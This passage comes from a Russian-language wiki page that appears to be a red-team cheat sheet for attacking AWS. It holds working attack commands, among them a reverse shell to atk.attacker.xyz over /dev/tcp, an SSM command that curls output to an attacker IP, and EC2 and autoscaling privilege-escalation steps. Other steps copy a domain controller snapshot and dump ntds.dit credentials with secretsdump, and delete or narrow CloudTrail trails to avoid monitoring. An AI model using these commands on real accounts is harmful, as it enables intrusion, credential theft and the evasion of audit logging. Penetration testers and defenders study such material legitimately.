&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
